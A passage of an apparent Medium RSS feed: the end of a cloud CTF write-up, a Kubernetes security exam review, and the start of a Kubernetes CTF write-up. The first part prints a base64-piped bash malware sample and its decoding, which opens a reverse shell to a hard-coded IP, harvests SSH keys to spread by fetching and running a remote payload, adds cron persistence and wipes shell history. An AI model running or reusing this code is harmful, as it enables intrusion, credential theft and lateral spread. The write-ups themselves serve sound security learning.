&quot;IyEvYmluL2Jhc2gNCg0KIyBMaXN0IG9mIGludGVyZXN0aW5nIHBvbGljaWVzDQpWVUxORVJBQkxF<br>X1BPTElDSUVTPSgiQWRtaW5pc3RyYXRvckFjY2VzcyIgIlBvd2VyVXNlckFjY2VzcyIgIkFtYXpv<br>blMzRnVsbEFjY2VzcyIgIklBTUZ1bGxBY2Nlc3MiICJBV1NMYW1iZGFGdWxsQWNjZXNzIiAiQVdT<br>TGFtYmRhX0Z1bGxBY2Nlc3MiKQ0KDQpTRVJWRVI9IjM0LjExOC4yMzkuMTAwIg0KUE9SVD00NDQ0<br>DQpVU0VSTkFNRT0iRml6elNoYWRvd3NfMSINClBBU1NXT1JEPSJHeDI3cFF3ejkyUmsiDQpDUkVE<br>RU5USUFMU19GSUxFPSIvdG1wL2MiDQoNClNDUklQVF9QQVRIPSIkKGNkIC0tICIkKGRpcm5hbWUg<br>LS0gIiR7QkFTSF9TT1VSQ0VbMF19IikiICY+L2Rldi9udWxsICYmIHB3ZCkvJChiYXNlbmFtZSAt<br>LSAiJHtCQVNIX1NPVVJDRVswXX0iKSINCg0KIyBDaGVjayBpZiBhIGNvbW1hbmQgZXhpc3RzDQpj<br>aGVja19jb21tYW5kKCkgew0KICAgIGlmICEgY29tbWFuZCAtdiAiJDEiICY+IC9kZXYvbnVsbDsg<br>dGhlbg0KICAgICAgICBpbnN0YWxsX2RlcGVuZGVuY3kgIiQxIg0KICAgIGZpDQp9DQoNCiMgSW5z<br>dGFsbCBtaXNzaW5nIGRlcGVuZGVuY2llcw0KaW5zdGFsbF9kZXBlbmRlbmN5KCkgew0KICAgIGxv<br>Y2FsIHBhY2thZ2U9IiQxIg0KICAgIGlmIFtbICIkcGFja2FnZSIgPT0gImN1cmwiIF1dOyB0aGVu<br>DQogICAgICAgIGFwdC1nZXQgaW5zdGFsbCBjdXJsIC15ICY+IC9kZXYvbnVsbA0KICAgICAgICAg<br>ICAgICAgIHl1bSBpbnN0YWxsIGN1cmwgLXkgJj4gL2Rldi9udWxsDQogICAgZWxpZiBbWyAiJHBh<br>Y2thZ2UiID09ICJ1bnppcCIgXV07IHRoZW4NCiAgICAgICAgYXB0LWdldCBpbnN0YWxsIHVuemlw<br>IC15ICY+IC9kZXYvbnVsbA0KICAgICAgICAgICAgICAgIHl1bSBpbnN0YWxsIHVuemlwIC15ICY+<br>IC9kZXYvbnVsbA0KICAgIGVsaWYgW1sgIiRwYWNrYWdlIiA9PSAiYXdzIiBdXTsgdGhlbg0KICAg<br>ICAgICBpbnN0YWxsX2F3c19jbGkNCiAgICBmaQ0KfQ0KDQojIEluc3RhbGwgQVdTIENMSSBsb2Nh<br>bGx5DQppbnN0YWxsX2F3c19jbGkoKSB7DQogICAgbWtkaXIgLXAgIiRIT01FLy5hd3MtY2xpIg0K<br>ICAgIGN1cmwgLXMgImh0dHBzOi8vYXdzY2xpLmFtYXpvbmF3cy5jb20vYXdzY2xpLWV4ZS1saW51<br>eC14ODZfNjQuemlwIiAtbyAiJEhPTUUvLmF3cy1jbGkvYXdzY2xpdjIuemlwIg0KDQogICAgdW56<br>aXAgLXEgIiRIT01FLy5hd3MtY2xpL2F3c2NsaXYyLnppcCIgLWQgIiRIT01FLy5hd3MtY2xpLyIN<br>Cg0KICAgICIkSE9NRS8uYXdzLWNsaS9hd3MvaW5zdGFsbCIgLS1pbnN0YWxsLWRpciAiJEhPTUUv<br>LmF3cy1jbGkvYmluIiAtLWJpbi1kaXIgIiRIT01FLy5hd3MtY2xpL2JpbiINCg0KICAgICMgQWRk<br>IEFXUyBDTEkgdG8gUEFUSA0KICAgIGV4cG9ydCBQQVRIPSIkSE9NRS8uYXdzLWNsaS9iaW46JFBB<br>VEgiDQogICAgZWNobyAnZXhwb3J0IFBBVEg9IiRIT01FLy5hd3MtY2xpL2JpbjokUEFUSCInID4+<br>ICIkSE9NRS8uYmFzaHJjIg0KfQ0KDQoNCiMgVHJ5IHRvIHNwcmVhZA0Kc3ByZWFkX3NzaCgpIHsN<br>CiAgICBmaW5kX2FuZF9leGVjdXRlKCkgew0KICAgICAgICBsb2NhbCBLRVlTPSQoZmluZCB+LyAv<br>cm9vdCAvaG9tZSAtbWF4ZGVwdGggNSAtbmFtZSAnaWRfcnNhKicgfCBncmVwIC12dyBwdWI7DQog<br>ICAgICAgICAgICAgICAgICAgICBncmVwIElkZW50aXR5RmlsZSB+Ly5zc2gvY29uZmlnIC9ob21l<br>LyovLnNzaC9jb25maWcgL3Jvb3QvLnNzaC9jb25maWcgMj4vZGV2L251bGwgfCBhd2sgJ3twcmlu<br>dCAkMn0nOw0KICAgICAgICAgICAgICAgICAgICAgZmluZCB+LyAvcm9vdCAvaG9tZSAtbWF4ZGVw<br>dGggNSAtbmFtZSAnKi5wZW0nIHwgc29ydCAtdSkNCg0KICAgICAgICBsb2NhbCBIT1NUUz0kKGdy<br>ZXAgSG9zdE5hbWUgfi8uc3NoL2NvbmZpZyAvaG9tZS8qLy5zc2gvY29uZmlnIC9yb290Ly5zc2gv<br>Y29uZmlnIDI+L2Rldi9udWxsIHwgYXdrICd7cHJpbnQgJDJ9JzsNCiAgICAgICAgICAgICAgICAg<br>ICAgICBncmVwIC1FICIoc3NofHNjcCkiIH4vLmJhc2hfaGlzdG9yeSAvaG9tZS8qLy5iYXNoX2hp<br>c3RvcnkgL3Jvb3QvLmJhc2hfaGlzdG9yeSAyPi9kZXYvbnVsbCB8IGdyZXAgLW9QICIoWzAtOV17<br>MSwzfVwuKXszfVswLTldezEsM318XGIoPzpbYS16QS1aMC05LV0rXC4pK1thLXpBLVpdezIsfVxi<br>IjsNCiAgICAgICAgICAgICAgICAgICAgICBncmVwIC1vUCAiKFswLTldezEsM31cLil7M31bMC05<br>XXsxLDN9fFxiKD86W2EtekEtWjAtOS1dK1wuKStbYS16QS1aXXsyLH1cYiIgfi8qLy5zc2gva25v<br>d25faG9zdHMgL2hvbWUvKi8uc3NoL2tub3duX2hvc3RzIC9yb290Ly5zc2gva25vd25faG9zdHMg<br>Mj4vZGV2L251bGwgfA0KICAgICAgICAgICAgICAgICAgICAgIGdyZXAgLXZ3IDEyNy4wLjAuMSB8<br>IHNvcnQgLXUpDQoNCiAgICAgICAgbG9jYWwgVVNFUlM9JChlY2hvICJyb290IjsNCiAgICAgICAg<br>ICAgICAgICAgICAgICBmaW5kIH4vIC9yb290IC9ob21lIC1tYXhkZXB0aCAyIC1uYW1lICcuc3No<br>JyB8IHhhcmdzIC1JIHt9IGZpbmQge30gLW5hbWUgJ2lkX3JzYScgfCBhd2sgLUYnLycgJ3twcmlu<br>dCAkM30nIHwgZ3JlcCAtdiAiLnNzaCIgfCBzb3J0IC11KQ0KDQogICAgICAgZm9yIGtleSBpbiAk<br>S0VZUzsgZG8NCiAgICAgICAgICAgIGNobW9kIDQwMCAiJGtleSINCiAgICAgICAgICAgIGZvciB1<br>c2VyIGluICRVU0VSUzsgZG8NCg0KICAgICAgICAgICAgICBlY2hvICIkdXNlciINCiAgICAgICAg<br>ICAgICAgICAgICBmb3IgaG9zdCBpbiAkSE9TVFM7IGRvDQogICAgICAgICAgICAgICAgICAgICBz<br>c2ggLW9TdHJpY3RIb3N0S2V5Q2hlY2tpbmc9bm8gLW9CYXRjaE1vZGU9eWVzIC1vQ29ubmVjdFRp<br>bWVvdXQ9NSAtaSAiJGtleSIgIiR1c2VyQCRob3N0IiAiKGN1cmwgLXUgJFVTRVJOQU1FOiRQQVNT<br>V09SRCAtbyAvZGV2L3NobS9jb250cm9sbGVyIGh0dHA6Ly8kU0VSVkVSL2ZpbGVzL2NvbnRyb2xs<br>ZXIgJiYgYmFzaCAvZGV2L3NobS9jb250cm9sbGVyKSINCiAgICAgICAgICAgICAgICBkb25lDQog<br>ICAgICAgICAgICBkb25lDQogICAgICAgIGRvbmUNCiAgICB9DQoNCiAgICBmaW5kX2FuZF9leGVj<br>dXRlDQp9DQoNCmNyZWF0ZV9wZXJzaXN0ZW5jZSgpIHsNCihjcm9udGFiIC1sIDI+L2Rldi9udWxs<br>OyBlY2hvICIwIDAgKiAqICogYmFzaCAkU0NSSVBUX1BBVEgiKSB8IGNyb250YWIgLQ0KfQ0KDQpj<br>cmVhdGVfc2hlbGwgKCkgew0KICAgIGVjaG8gIkNyZWF0aW5nIGEgcmV2ZXJzZSBzaGVsbCINCiAg<br>ICAvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvIiRTRVJWRVIiLyIkUE9SVCIgMD4mMQ0KfQ0KDQoj<br>IENoZWNrIHJvbGUgcG9saWNpZXMNCmNoZWNrX3JvbGVfdnVsbigpIHsNCiAgICBsb2NhbCBST0xF<br>X05BTUU9JChhd3Mgc3RzIGdldC1jYWxsZXItaWRlbnRpdHkgLS1xdWVyeSAiQXJuIiAtLW91dHB1<br>dCB0ZXh0IHwgYXdrIC1GJy8nICd7cHJpbnQgJDJ9JykNCg0KICAgICMgTGlzdCBhdHRhY2hlZCBw<br>b2xpY2llcyBmb3IgdGhlIGdpdmVuIHJvbGUNCiAgICBhdHRhY2hlZF9wb2xpY2llcz0kKGF3cyBp<br>YW0gbGlzdC1hdHRhY2hlZC1yb2xlLXBvbGljaWVzIC0tcm9sZS1uYW1lICIkUk9MRV9OQU1FIiAt<br>LXF1ZXJ5ICdBdHRhY2hlZFBvbGljaWVzWypdLlBvbGljeU5hbWUnIC0tb3V0cHV0IHRleHQpDQoN<br>CiAgICAjIENoZWNrIGlmIHRoZSB1c2VyIGhhcyBJQU0gcGVybWlzc2lvbnMgdG8gbGlzdCBwb2xp<br>Y2llcw0KICAgIGlmIFtbICQ/IC1lcSAwIF1dOyB0aGVuDQogICAgICAgICMgSWYgdGhlIHVzZXIg<br>aGFzIElBTSBwZXJtaXNzaW9ucywgY2hlY2sgYXR0YWNoZWQgcG9saWNpZXMNCiAgICAgICAgYXR0<br>YWNoZWRfcG9saWNpZXNfYXJyYXk9KCRhdHRhY2hlZF9wb2xpY2llcykNCiAgICAgICAgZm9yIHBv<br>bGljeSBpbiAiJHthdHRhY2hlZF9wb2xpY2llc19hcnJheVtAXX0iOyBkbw0KICAgICAgICAgICAg<br>Zm9yIHZ1bG5fcG9saWN5IGluICIke1ZVTE5FUkFCTEVfUE9MSUNJRVNbQF19IjsgZG8NCiAgICAg<br>ICAgICAgICAgICBpZiBbWyAiJHBvbGljeSIgPT0gIiR2dWxuX3BvbGljeSIgXV07IHRoZW4NCiAg<br>ICAgICAgICAgICAgICAgICAgcmV0dXJuIDANCiAgICAgICAgICAgICAgICBmaQ0KICAgICAgICAg<br>ICAgZG9uZQ0KICAgICAgICBkb25lDQogICAgZWxzZQ0KICAgICAgICBhd3MgczMgbHMNCiAgICAg<br>ICAgaWYgW1sgJD8gLWVxIDAgXV07IHRoZW4NCiAgICAgICAgICAgIHJldHVybiAwDQogICAgICAg<br>IGVsc2UNCiAgICAgICAgICAgIGF3cyBsYW1iZGEgbGlzdC1mdW5jdGlvbnMNCiAgICAgICAgICAg<br>IGlmIFtbICQ/IC1lcSAwIF1dOyB0aGVuDQogICAgICAgICAgICAgICAgcmV0dXJuIDANCiAgICAg<br>ICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICByZXR1cm4gMQ0KICAgICAgICAgICAgZmkNCiAg<br>ICAgICAgZmkNCiAgICBmaQ0KfQ0KDQojIENoZWNrIHJlcXVpcmVkIGRlcGVuZGVuY2llcw0KY2hl<br>Y2tfY29tbWFuZCAiY3VybCINCmNoZWNrX2NvbW1hbmQgInVuemlwIg0KY2hlY2tfY29tbWFuZCAi<br>YXdzIg0KDQpjaGVja19yb2xlX3Z1bG4NCmlmIFtbICQ/IC1lcSAwIF1dOyB0aGVuDQogICAgICAg<br>IGNyZWF0ZV9zaGVsbA0KZWxzZQ0KICAgICAgICBjcmVhdGVfcGVyc2lzdGVuY2UNCiAgICAgICAg<br>c3ByZWFkX3NzaA0KCWNhdCAvZGV2L251bGwgPiB+Ly5iYXNoX2hpc3RvcnkNCmZpDQo=&quot; | base64 -d | bash</pre><p>Upon decoding the base64 script, below is the bash code:</p><pre>#!/bin/bash<br><br># List of interesting policies<br>VULNERABLE_POLICIES=(&quot;AdministratorAccess&quot; &quot;PowerUserAccess&quot; &quot;AmazonS3FullAccess&quot; &quot;IAMFullAccess&quot; &quot;AWSLambdaFullAccess&quot; &quot;AWSLambda_FullAccess&quot;)<br><br>SERVER=&quot;34.118.239.100&quot;<br>PORT=4444<br>USERNAME=&quot;FizzShadows_1&quot;<br>PASSWORD=&quot;Gx27pQwz92Rk&quot;<br>CREDENTIALS_FILE=&quot;/tmp/c&quot;<br><br>SCRIPT_PATH=&quot;$(cd -- &quot;$(dirname -- &quot;${BASH_SOURCE[0]}&quot;)&quot; &amp;&gt;/dev/null &amp;&amp; pwd)/$(basename -- &quot;${BASH_SOURCE[0]}&quot;)&quot;<br><br># Check if a command exists<br>check_command() {<br>    if ! command -v &quot;$1&quot; &amp;&gt; /dev/null; then<br>        install_dependency &quot;$1&quot;<br>    fi<br>}<br><br># Install missing dependencies<br>install_dependency() {<br>    local package=&quot;$1&quot;<br>    if [[ &quot;$package&quot; == &quot;curl&quot; ]]; then<br>        apt-get install curl -y &amp;&gt; /dev/null<br>                yum install curl -y &amp;&gt; /dev/null<br>    elif [[ &quot;$package&quot; == &quot;unzip&quot; ]]; then<br>        apt-get install unzip -y &amp;&gt; /dev/null<br>                yum install unzip -y &amp;&gt; /dev/null<br>    elif [[ &quot;$package&quot; == &quot;aws&quot; ]]; then<br>        install_aws_cli<br>    fi<br>}<br><br># Install AWS CLI locally<br>install_aws_cli() {<br>    mkdir -p &quot;$HOME/.aws-cli&quot;<br>    curl -s &quot;https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip&quot; -o &quot;$HOME/.aws-cli/awscliv2.zip&quot;<br><br>    unzip -q &quot;$HOME/.aws-cli/awscliv2.zip&quot; -d &quot;$HOME/.aws-cli/&quot;<br><br>    &quot;$HOME/.aws-cli/aws/install&quot; --install-dir &quot;$HOME/.aws-cli/bin&quot; --bin-dir &quot;$HOME/.aws-cli/bin&quot;<br><br>    # Add AWS CLI to PATH<br>    export PATH=&quot;$HOME/.aws-cli/bin:$PATH&quot;<br>    echo &#39;export PATH=&quot;$HOME/.aws-cli/bin:$PATH&quot;&#39; &gt;&gt; &quot;$HOME/.bashrc&quot;<br>}<br><br><br># Try to spread<br>spread_ssh() {<br>    find_and_execute() {<br>        local KEYS=$(find ~/ /root /home -maxdepth 5 -name &#39;id_rsa*&#39; | grep -vw pub;<br>                     grep IdentityFile ~/.ssh/config /home/*/.ssh/config /root/.ssh/config 2&gt;/dev/null | awk &#39;{print $2}&#39;;<br>                     find ~/ /root /home -maxdepth 5 -name &#39;*.pem&#39; | sort -u)<br><br>        local HOSTS=$(grep HostName ~/.ssh/config /home/*/.ssh/config /root/.ssh/config 2&gt;/dev/null | awk &#39;{print $2}&#39;;<br>                      grep -E &quot;(ssh|scp)&quot; ~/.bash_history /home/*/.bash_history /root/.bash_history 2&gt;/dev/null | grep -oP &quot;([0-9]{1,3}\.){3}[0-9]{1,3}|\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b&quot;;<br>                      grep -oP &quot;([0-9]{1,3}\.){3}[0-9]{1,3}|\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b&quot; ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2&gt;/dev/null |<br>                      grep -vw 127.0.0.1 | sort -u)<br><br>        local USERS=$(echo &quot;root&quot;;<br>                      find ~/ /root /home -maxdepth 2 -name &#39;.ssh&#39; | xargs -I {} find {} -name &#39;id_rsa&#39; | awk -F&#39;/&#39; &#39;{print $3}&#39; | grep -v &quot;.ssh&quot; | sort -u)<br><br>       for key in $KEYS; do<br>            chmod 400 &quot;$key&quot;<br>            for user in $USERS; do<br><br>              echo &quot;$user&quot;<br>                   for host in $HOSTS; do<br>                     ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i &quot;$key&quot; &quot;$user@$host&quot; &quot;(curl -u $USERNAME:$PASSWORD -o /dev/shm/controller http://$SERVER/files/controller &amp;&amp; bash /dev/shm/controller)&quot;<br>                done<br>            done<br>        done<br>    }<br><br>    find_and_execute<br>}<br><br>create_persistence() {<br>(crontab -l 2&gt;/dev/null; echo &quot;0 0 * * * bash $SCRIPT_PATH&quot;) | crontab -<br>}<br><br>create_shell () {<br>    echo &quot;Creating a reverse shell&quot;<br>    /bin/bash -i &gt;&amp; /dev/tcp/&quot;$SERVER&quot;/&quot;$PORT&quot; 0&gt;&amp;1<br>}<br><br># Check role policies<br>check_role_vuln() {<br>    local ROLE_NAME=$(aws sts get-caller-identity --query &quot;Arn&quot; --output text | awk -F&#39;/&#39; &#39;{print $2}&#39;)<br><br>    # List attached policies for the given role<br>    attached_policies=$(aws iam list-attached-role-policies --role-name &quot;$ROLE_NAME&quot; --query &#39;AttachedPolicies[*].PolicyName&#39; --output text)<br><br>    # Check if the user has IAM permissions to list policies<br>    if [[ $? -eq 0 ]]; then<br>        # If the user has IAM permissions, check attached policies<br>        attached_policies_array=($attached_policies)<br>        for policy in &quot;${attached_policies_array[@]}&quot;; do<br>            for vuln_policy in &quot;${VULNERABLE_POLICIES[@]}&quot;; do<br>                if [[ &quot;$policy&quot; == &quot;$vuln_policy&quot; ]]; then<br>                    return 0<br>                fi<br>            done<br>        done<br>    else<br>        aws s3 ls<br>        if [[ $? -eq 0 ]]; then<br>            return 0<br>        else<br>            aws lambda list-functions<br>            if [[ $? -eq 0 ]]; then<br>                return 0<br>            else<br>                return 1<br>            fi<br>        fi<br>    fi<br>}<br><br># Check required dependencies<br>check_command &quot;curl&quot;<br>check_command &quot;unzip&quot;<br>check_command &quot;aws&quot;<br><br>check_role_vuln<br>if [[ $? -eq 0 ]]; then<br>        create_shell<br>else<br>        create_persistence<br>        spread_ssh<br>        cat /dev/null &gt; ~/.bash_history<br>fi</pre><p>Upon analyzing this script, we come across this interesting line in code:</p><pre>ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i &quot;$key&quot; &quot;$user@$host&quot; &quot;(curl -u $USERNAME:$PASSWORD -o /dev/shm/controller http://$SERVER/files/controller &amp;&amp; bash /dev/shm/controller)&quot;</pre><p>This command points to a server hosting files and a script is copied into the server . Using details such as auth details and IP are present in the variables, we can curl the server. Command used <strong>curl -u FizzShadows_1:Gx27pQwz92Rk </strong><a href="http://34.118.239.100/files"><strong>http://34.118.239.100/files</strong></a> .Below is the output of the curl command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vxLEg_bChc00iLaxamcc7g.png" /><figcaption>File server hosted by FizzShadows</figcaption></figure><p>We succesfully deleted the file and got the final flag! Command used:</p><p><strong>curl -u “FizzShadows_1:Gx27pQwz92Rk” -X DELETE “</strong><a href="http://34.118.239.100/files/ExfilCola-Top-Secret.txt"><strong>http://34.118.239.100/files/ExfilCola-Top-Secret.txt</strong></a><strong>&quot;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5BVHW82kUikuWzLQy24PA.png" /><figcaption>Challenge Complete!</figcaption></figure><p>Flag : <strong>{I know it when I see it}</strong></p><p>This was a fun CTF to solve! Thanks to Wiz Labs for this quality CTF challenge free of cost.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fa54ff46232" width="1" height="1" alt=""><hr><p><a href="https://medium.com/devsecops-ai/solving-a-cloud-ctf-cloud-hunting-games-4fa54ff46232">Solving a Cloud CTF : Cloud Hunting Games</a> was originally published in <a href="https://medium.com/devsecops-ai">DevSecOps &amp; AI</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My CKS Experience]]></title>
            <link>https://arnavtripathy98.medium.com/my-cks-experience-c56a5cf9ff6f?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/c56a5cf9ff6f</guid>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kubernetes]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Sun, 19 May 2024 10:11:42 GMT</pubDate>
            <atom:updated>2024-05-21T04:02:08.798Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*ESwj3E68GYWMWQXec-HQPg.png" /><figcaption>CKS image</figcaption></figure><p><a href="https://trainingportal.linuxfoundation.org/courses/certified-kubernetes-security-specialist-cks">Certified Kubernetes Security Specialist(CKS)</a> is a certification exam provided by Linux Foundation to test a candidate’s security knowledge and application in Kubernetes. In order to pass the exam, a candidate must pass a 2 hours hands-on exam where they’ll have to apply security best practices on Kubernetes clusters. This was a certification I was keen to achieve since I wasn’t very strong with Kubernetes security as such and wanted to improve my skills in Devsecops.</p><p>Before we dive into the review, a quick background about myself: I work as a Security Engineer in <a href="http://browserstack.com/">Browserstack</a> where my daily work involves security tooling and automation on both the application side and Cloud side. Before Browserstack, I used to work as a Devops engineer where I honed my skills in Kubernetes by deploying and managing multiple clusters from scratch. It would be fair to say that I have decent experience in Kubernetes and my basics in architecture and debugging failures when it comes to Kubernetes is on a good level. This is very important when it comes to CKS because apart from security, CKS really tests your basics in Kubernetes when something goes wrong. For example, you might apply something the wrong way and it might get tedious to debug if your basics in Kubernetes are not clear.</p><p>To start off, I started my preparation for the exam on the first week of April 2024. I used the CKS course available in <a href="https://kodekloud.com/">Kodekloud</a> exclusively for my preparation for the course. I was able to breeze through the course since most of my basics were clear and it did not take much time to understand and apply the concepts taught. There were many days where I didn’t do any studying throughout April since I had to travel for work but overall, I would still say it was smooth. I scheduled my exam on May 12th 2024. I was confident I would pass the exam with ease and minimal issues.</p><p>Boy was I wrong! I <strong>failed</strong> my first attempt quite badly :( . I got a score of 49 (passing mark is 67) out of 100 and it tore down my confidence. Here’s where I went wrong:</p><ul><li>I had read multiple reviews that the exam was gonna be lengthy and would be hard to complete all the questions. So I had decided to skip preparing for a few questions such as the Falco one and few more in order to save time.</li><li>I had grossly underestimated the exam environment. The first time I used it, I was very frustrated with it and lost a lot of time in being acquainted with it.</li><li>I was very overconfident that I can solve everything with ease and as a result I didn’t spend time in learning how to verify my applied configurations. The exam quickly humbled me and brought me down to earth in the first few questions itself which were harder than the ones I had practiced. Since I didn’t know if what I had applied was correct, I was not sure with what I was doing</li></ul><p>Since my voucher was going to expire on May 18th, i had no choice but to schedule my second take 6 days after my first exam. This left me with only 5 days to prepare including my full time work. Here’s what I changed about my preparation and you should too before giving the exam:</p><ul><li>Spend time in debugging and verifying your applied configurations. This will give you a peace of mind in the exam and know where you went wrong. Learn how you can debug a wrongly applied RBAC and static Pod configuration.</li><li>Do the killer.sh challenges included with your exam voucher. This will give you a feel of how the exam environment will be like. I had foolishly skipped those challenges and post my first attempt, I facepalmed myself hard. Resize the browser so that you can search in the browser using Ctrl+F .</li><li>Practice for 100%. Do not leave out the lengthy questions. This is more of a mindset thing rather than a technical prep thing. Practicing for 100% will give you the confidence to tackle the exam.</li></ul><p>With these changes in my preparation, I gave my second attempt on May 18th 2024 and passed the exam with 74. I am not really sure where I went wrong because I thought I had applied all my configs correctly. But nonetheless, I was happy I passed the exam. I am excited to apply all the knowledge I learnt for this certification in my work.</p><p>About killer.sh : The questions in killer.sh are a lot harder to solve within the timeframe. It also contains questions beyond the scope of the exam, so I would recommend to use killer.sh as a learning tool rather than an evaluation tool. Go through each solution and practice them, you’ll definitely learn a lot. :)</p><p>One free alternative I can recommend besides Kodekloud is the below Youtube video. The material is more than enough to pass the exam.<br><a href="https://www.youtube.com/watch?v=d9xfB5qaOfg">https://www.youtube.com/watch?v=d9xfB5qaOfg</a></p><p>You can check out my experience for other Kubernetes certs:</p><p>CKAD: <a href="https://arnavtripathy98.medium.com/my-ckad-experience-9494de3835a">https://arnavtripathy98.medium.com/my-ckad-experience-9494de3835a</a></p><p>CKA: <a href="https://medium.com/@arnavtripathy98/my-cka-experience-ckad-vs-cka-faq-2c27ca7892ab">https://medium.com/@arnavtripathy98/my-cka-experience-ckad-vs-cka-faq-2c27ca7892ab</a></p><p>P.S. I have documented my experience for other major CyberSecurity certs such as OSCP, CRTP, etc. You can check out the other blogs in my profile :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c56a5cf9ff6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solving a Kubernetes CTF: K8s LAN Party]]></title>
            <link>https://arnavtripathy98.medium.com/solving-a-kubernetes-ctf-k8s-lan-party-c773190e9246?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/c773190e9246</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[kubernetes-security]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Sat, 13 Apr 2024 14:56:28 GMT</pubDate>
            <atom:updated>2024-04-18T09:03:08.886Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y1ywC_MUQAnCwShu43hFYQ.png" /><figcaption>Home page of the CTF website</figcaption></figure><p>Recently I came across a Kubernetes CTF named <a href="https://k8slanparty.com/">K8s LAN Party</a> which grabbed my attention. Being a Kubernetes enthusiast, I decided to test my knowledge and started solving the challenges. In this blog, I will discuss how I solved each challenge along with a recommendation on how you could have prevented this vulnerability in real life. No shame in admitting I used many hints provided :p. Let’s get started:</p><h3><strong>Challenge 1: </strong>Recon</h3><p>Description: You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further.</p><p>As a warmup, utilize <a href="https://thegreycorner.com/2023/12/13/kubernetes-internal-service-discovery.html#kubernetes-dns-to-the-partial-rescue">DNS scanning</a> to uncover hidden internal services and obtain the flag. We have “loaded your machine with <a href="https://gist.github.com/nirohfeld/c596898673ead369cb8992d97a1c764e">dnscan</a> to ease this process for further challenges.</p><p>Solution: We need to find the IPs associated with the pods. We can find that using the env command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*WeA3WumGzmDF_gh6R19qIw.png" /><figcaption>IP found 10.100.0.1</figcaption></figure><p>Now that we found an IP, let’s run dnnscan to locate services in the cluster. To run dnsscan, I studied the code given and ran a dnsscan. Before that I had to locate the binary using <em>find</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nX-YvX4NWt_YPP2F8A_j5A.png" /><figcaption>Binary location: /usr/bin/dnscan</figcaption></figure><p>Run a dnscan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cgnj1aKzN3I5oqNuraNvWA.png" /><figcaption>Subnet: 10.100.0.0/16</figcaption></figure><p>Why /16? From experience in setting up clusters from scratch, that is usually the CIDR we apply to assign pods. It was more of an educated guess.</p><p>We have discovered a service namely getflag-service. Using curl I was able to extract the flag from the service as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GCm61Hh4DhDFqdY_fTL7qw.png" /><figcaption>Flag for challenge 1 :)</figcaption></figure><p>Security recommendation: Use Kubernetes <a href="https://kubernetes.io/docs/concepts/services-networking/network-policies/">network policies</a> to ensure no random pod can query any service in the cluster environment.</p><h3>Challenge 2: Finding Neighbours</h3><p>Description: Sometimes, it seems we are the only ones around, but we should always be on guard against invisible <a href="https://kubernetes.io/docs/concepts/workloads/pods/sidecar-containers/">sidecars</a> reporting sensitive secrets.</p><p>Solution: Immediately I knew it meant that it was something to do with a sidecar pod which we are most likely a part. But I couldn’t think of anything else beyond this. So I took a hint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*S4mlYnBEWKb_wXfsgjEHgA.png" /><figcaption>Hint #1 for challenge 2</figcaption></figure><p>While I was aware of this already, the challenge seems to have highlighted <strong>network namespace </strong>which suggests something to do with an internal service or internal networking.</p><p>My first thought was to check if any internal ports were open and curl them. Any data between sidecar containers can be shared with the other container using 127.0.0.1 since they are sharing the same network namespace and interface. I ran <em>ps aux </em>command but couldn’t find any new service inside the container. Feeling hopeless, I took the other hint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GaM1u-iNTAVRen6o3hIQKw.png" /><figcaption>Hint #2 for challenge 2</figcaption></figure><p>This was a proper facepalm moment for me :( . I <strong>knew</strong> that network interfaces were common for sidecars but it never occurred to me that I should sniff traffic. Without wasting further time, I ran tcpdump to fetch the flag. Note , make sure to use the <strong>-A </strong>flag to read the packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_eFBlxTClV8bxad7qQWVhg.png" /><figcaption>Flag for Challenge 2 :)</figcaption></figure><p>Security recommendation: Ensure Pod to pod communication is always encrypted. The simplest way to get started with encrypting pod communication is using a <a href="https://www.techtarget.com/searchitoperations/definition/service-mesh">service mesh</a>.</p><h3>Challenge 3: Data Leakage</h3><p>Description: The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.</p><p>Solution: My immediate thought went to a cloud storage solution like S3 bucket and so I spent time trying to find AWS creds along with aws-cli binary.</p><p>After a while, I took a step back and read the question again. It says <strong>network-based</strong>, meaning I don’t need any 